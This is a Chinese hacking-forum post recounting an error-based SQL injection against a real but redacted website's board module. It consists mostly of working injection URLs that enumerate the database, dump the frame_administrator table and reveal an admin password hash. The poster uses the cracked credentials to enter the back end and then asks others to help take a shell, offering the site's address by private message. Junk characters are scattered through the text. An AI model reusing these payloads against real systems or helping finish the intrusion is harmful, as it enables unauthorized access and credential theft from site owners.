首先找到网站后台,加了个admin,后台出来了
- M7 N' S; b% n* ?6 B" S然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入$ Q/ N/ [7 Z2 L" p: D' G- Y
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg
从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。
首先查下数据库相关信息。
www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—
! B8 M) S: u( y. e
; c1 c7 X/ E% E1 p; ] w' E4 o
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg
- Q1 O+ X" m3 ~' h; G
# l7 q% J0 ^3 d% ?: V1 h
# E) K! @+ Z( a! M& Z
# L! @; ?: i& \: {3 X3 n2 x
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。
然后我们查表
http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))--
得到管理员表段frame_administrator* j2 r" D4 D2 b# [, J
) j+ b7 B% S4 Y; @0 @' B; A2 O
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg6 U& r i2 o- Y& J
- @% q, y7 R$ \9 e8 V' `' N" O
查字段
http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--/ Z6 A$ r2 l2 z, r: b0 r* G; T
, R. N- N* K6 _& I+ L1 @( D9 |
得到userID,userPass字段
最后
http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--6 b5 ?6 R9 B7 E. U' e* Y% J, H
得到最终结果admin eb0a191797624dd3a48fa681d3061212
解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) | Powered by Discuz! X3.2 |